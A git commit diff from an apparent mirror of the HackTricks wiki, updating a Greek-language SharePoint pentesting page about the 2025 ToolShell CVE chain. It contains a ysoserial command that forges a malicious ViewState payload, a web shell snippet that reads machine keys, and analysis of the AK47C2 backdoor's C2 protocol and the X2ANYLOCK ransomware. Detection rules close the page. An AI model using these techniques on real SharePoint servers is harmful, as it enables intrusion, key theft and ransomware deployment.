mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/microsoft-sh
This commit is contained in:
parent
c62022b622
commit
5b4d3d5799
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Microsoft SharePoint (on-premises) είναι χτισμένο πάνω σε ASP.NET/IIS. Οι περισσότερες από τις κλασικές επιφάνειες επίθεσης του ιστού (ViewState, Web.Config, web shells, κ.λπ.) είναι επομένως παρούσες, αλλά το SharePoint περιλαμβάνει επίσης εκατοντάδες ιδιόκτητες σελίδες ASPX και διαδικτυακές υπηρεσίες που διευρύνουν δραματικά την εκτεθειμένη επιφάνεια επίθεσης. Αυτή η σελίδα συγκεντρώνει πρακτικά κόλπα για την καταμέτρηση, εκμετάλλευση και διατήρηση μέσα σε περιβάλλοντα SharePoint με έμφαση στην αλυσίδα εκμετάλλευσης του 2025 που αποκαλύφθηκε από την Unit42 (CVE-2025-49704/49706/53770/53771).
|
||||
> Microsoft SharePoint (on-premises) είναι χτισμένο πάνω σε ASP.NET/IIS. Οι περισσότερες από τις κλασικές επιφάνειες επίθεσης του ιστού (ViewState, Web.Config, web shells, κ.λπ.) είναι επομένως παρούσες, αλλά το SharePoint περιλαμβάνει επίσης εκατοντάδες ιδιόκτητες σελίδες ASPX και διαδικτυακές υπηρεσίες που διευρύνουν δραματικά την εκτεθειμένη επιφάνεια επίθεσης. Αυτή η σελίδα συγκεντρώνει πρακτικά κόλπα για την καταμέτρηση, εκμετάλλευση και διατήρηση μέσα σε περιβάλλοντα SharePoint με έμφαση στην αλυσίδα εκμετάλλευσης του 2025 που αποκαλύφθηκε από την Unit42 (CVE-2025-49704/49706/53770/53771).
|
||||
|
||||
## 1. Quick enumeration
|
||||
```
|
||||
@ -29,13 +29,13 @@ python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
|
||||
|
||||
### 2.2 CVE-2025-49706 – Improper Authentication Bypass
|
||||
|
||||
Η ίδια σελίδα εμπιστεύεται την κεφαλίδα **X-Forms_BaseUrl** για να προσδιορίσει το πλαίσιο του ιστότοπου. Δείχνοντάς την σε `/_layouts/15/`, η MFA/SSO που επιβάλλεται στον ριζικό ιστότοπο μπορεί να παρακαμφθεί **χωρίς αυθεντικοποίηση**.
|
||||
Η ίδια σελίδα εμπιστεύεται την **X-Forms_BaseUrl** κεφαλίδα για να προσδιορίσει το πλαίσιο του ιστότοπου. Δείχνοντάς την σε `/_layouts/15/`, η MFA/SSO που επιβάλλεται στον ριζικό ιστότοπο μπορεί να παρακαμφθεί **χωρίς αυθεντικοποίηση**.
|
||||
|
||||
### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
|
||||
|
||||
Μόλις ο επιτιθέμενος ελέγξει μια συσκευή στο `ToolPane.aspx`, μπορεί να δημοσιεύσει μια **μη υπογεγραμμένη** (ή μόνο MAC) τιμή `__VIEWSTATE` που ενεργοποιεί την αποσυμπίεση .NET μέσα στο *w3wp.exe*, οδηγώντας σε εκτέλεση κώδικα.
|
||||
|
||||
Εάν η υπογραφή είναι ενεργοποιημένη, κλέψτε το **ValidationKey/DecryptionKey** από οποιοδήποτε `web.config` (βλ. 2.4) και πλαστογραφήστε το payload με *ysoserial.net* ή *ysodom*:
|
||||
Αν η υπογραφή είναι ενεργοποιημένη, κλέψτε το **ValidationKey/DecryptionKey** από οποιοδήποτε `web.config` (βλ. 2.4) και πλαστογραφήστε το payload με *ysoserial.net* ή *ysodom*:
|
||||
```
|
||||
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
|
||||
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
|
||||
@ -75,11 +75,11 @@ Response.Write(MachineKey.ValidationKey);
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Γραμμένο προς:
|
||||
Γραμμένο σε:
|
||||
```
|
||||
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
|
||||
```
|
||||
Η shell εκθέτει endpoints για **ανάγνωση / περιστροφή μηχανικών κλειδιών** που επιτρέπει την κατασκευή των cookies ViewState και ASPXAUTH σε όλη τη φάρμα.
|
||||
Η shell εκθέτει endpoints για **ανάγνωση / περιστροφή κλειδιών μηχανής** που επιτρέπει την κατασκευή cookies ViewState και ASPXAUTH σε όλη τη φάρμα.
|
||||
|
||||
### 3.3 Ασαφής παραλλαγή (παραλλαγή-3)
|
||||
|
||||
@ -88,16 +88,67 @@ C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE
|
||||
* τα ονόματα μεταβλητών μειωμένα σε μονά γράμματα
|
||||
* προστέθηκε `Thread.Sleep(<ms>)` για αποφυγή sandbox & παράκαμψη AV με βάση το χρόνο.
|
||||
|
||||
### 3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (παρατηρήθηκε 2025-2026)
|
||||
|
||||
Πρόσφατες έρευνες αντίκτυπου περιστατικών (Unit42 “Project AK47”) δείχνουν πώς οι επιτιθέμενοι εκμεταλλεύονται την αλυσίδα ToolShell **μετά την αρχική RCE** για να αναπτύξουν ένα εμφύτευμα C2 διπλού καναλιού και ransomware σε περιβάλλοντα SharePoint:
|
||||
|
||||
#### AK47C2 – παραλλαγή `dnsclient`
|
||||
|
||||
* Στατικός DNS server: `10.7.66.10` που επικοινωνεί με τον εξουσιοδοτημένο τομέα `update.updatemicfosoft.com`.
|
||||
* Τα μηνύματα είναι JSON αντικείμενα XOR-κρυπτογραφημένα με το στατικό κλειδί `VHBD@H`, κωδικοποιημένα σε hex και ενσωματωμένα ως **ετικέτες υποτομέα**.
|
||||
|
||||
```json
|
||||
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
|
||||
```
|
||||
|
||||
* Μακρές ερωτήσεις χωρίζονται σε κομμάτια και προσαρτώνται με `s`, στη συνέχεια επανασυντίθενται από την πλευρά του διακομιστή.
|
||||
* Ο διακομιστής απαντά σε TXT records που φέρουν το ίδιο XOR/hex σχήμα:
|
||||
|
||||
```json
|
||||
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
|
||||
```
|
||||
* Η έκδοση 202504 εισήγαγε μια απλοποιημένη μορφή `<COMMAND>::<SESSION_KEY>` και δείκτες κομματιών `1`, `2`, `a`.
|
||||
|
||||
#### AK47C2 – παραλλαγή `httpclient`
|
||||
|
||||
* Επαναχρησιμοποιεί την ακριβή JSON & XOR ρουτίνα αλλά στέλνει το hex blob στο **HTTP POST body** μέσω `libcurl` (`CURLOPT_POSTFIELDS`, κ.λπ.).
|
||||
* Η ίδια ροή εργασίας καθήκοντος/αποτελέσματος επιτρέπει:
|
||||
* Εκτέλεση αυθαίρετης εντολής shell.
|
||||
* Δυναμικό διάστημα ύπνου και οδηγίες kill-switch.
|
||||
|
||||
#### X2ANYLOCK ransomware
|
||||
|
||||
* Payload 64-bit C++ φορτωμένο μέσω DLL side-loading (βλ. παρακάτω).
|
||||
* Χρησιμοποιεί AES-CBC για δεδομένα αρχείων + RSA-2048 για να τυλίξει το κλειδί AES, στη συνέχεια προσθέτει την επέκταση `.x2anylock`.
|
||||
* Κρυπτογραφεί αναδρομικά τοπικούς δίσκους και ανακαλυφθέντα SMB shares; παραλείπει συστήματα διαδρομών.
|
||||
* Ρίχνει σημείωμα σε καθαρό κείμενο `How to decrypt my data.txt` ενσωματώνοντας μια στατική **Tox ID** για διαπραγματεύσεις.
|
||||
* Περιέχει έναν εσωτερικό **kill-switch**:
|
||||
|
||||
```c
|
||||
if (file_mod_time >= "2026-06-06") exit(0);
|
||||
```
|
||||
|
||||
#### DLL side-loading αλυσίδα
|
||||
|
||||
1. Ο επιτιθέμενος γράφει `dllhijacked.dll`/`My7zdllhijacked.dll` δίπλα σε ένα νόμιμο `7z.exe`.
|
||||
2. Το `w3wp.exe` που δημιουργείται από το SharePoint εκκινεί το `7z.exe`, το οποίο φορτώνει την κακόβουλη DLL λόγω της σειράς αναζήτησης των Windows, καλώντας το σημείο εισόδου του ransomware στη μνήμη.
|
||||
3. Ένας ξεχωριστός φορτωτής LockBit παρατηρήθηκε (`bbb.msi` ➜ `clink_x86.exe` ➜ `clink_dll_x86.dll`) αποκρυπτογραφεί τον κώδικα shell και εκτελεί **DLL hollowing** στο `d3dl1.dll` για να τρέξει το LockBit 3.0.
|
||||
|
||||
> [!INFO]
|
||||
> Η ίδια στατική Tox ID που βρέθηκε στο X2ANYLOCK εμφανίζεται σε διαρροές βάσεων δεδομένων LockBit, υποδεικνύοντας επικαλύψεις συνεργατών.
|
||||
|
||||
---
|
||||
|
||||
## 4. Ιδέες ανίχνευσης
|
||||
|
||||
| Τηλεμετρία | Γιατί είναι ύποπτη |
|
||||
|-----------|----------------------|
|
||||
| `w3wp.exe → cmd.exe` | Η διαδικασία εργασίας θα πρέπει σπάνια να δημιουργεί shell |
|
||||
| `cmd.exe → powershell.exe -EncodedCommand` | Κλασικό μοτίβο lolbin |
|
||||
| Γεγονότα αρχείων που δημιουργούν `debug_dev.js` ή `spinstall0.aspx` | IOCs απευθείας από ToolShell |
|
||||
| Γεγονότα αρχείου που δημιουργούν `debug_dev.js` ή `spinstall0.aspx` | IOCs απευθείας από ToolShell |
|
||||
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Module logs) | Δημόσιες PoCs καλούν αυτή τη σελίδα |
|
||||
|
||||
Παράδειγμα κανόνα XDR / Sysmon (ψευδο-XQL):
|
||||
Παράδειγμα κανόνα XDR / Sysmon (pseudo-XQL):
|
||||
```
|
||||
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
|
||||
```
|
||||
@ -111,7 +162,7 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
|
||||
|
||||
## Σχετικά κόλπα
|
||||
|
||||
* IIS post-exploitation & web.config abuse:
|
||||
* IIS post-exploitation & κακή χρήση web.config:
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
|
||||
{{#endref}}
|
||||
@ -121,6 +172,7 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
|
||||
- [Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
|
||||
- [GitHub PoC – ToolShell exploit chain](https://github.com/real-or-not/ToolShell)
|
||||
- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||||
- [Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
|
||||
- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user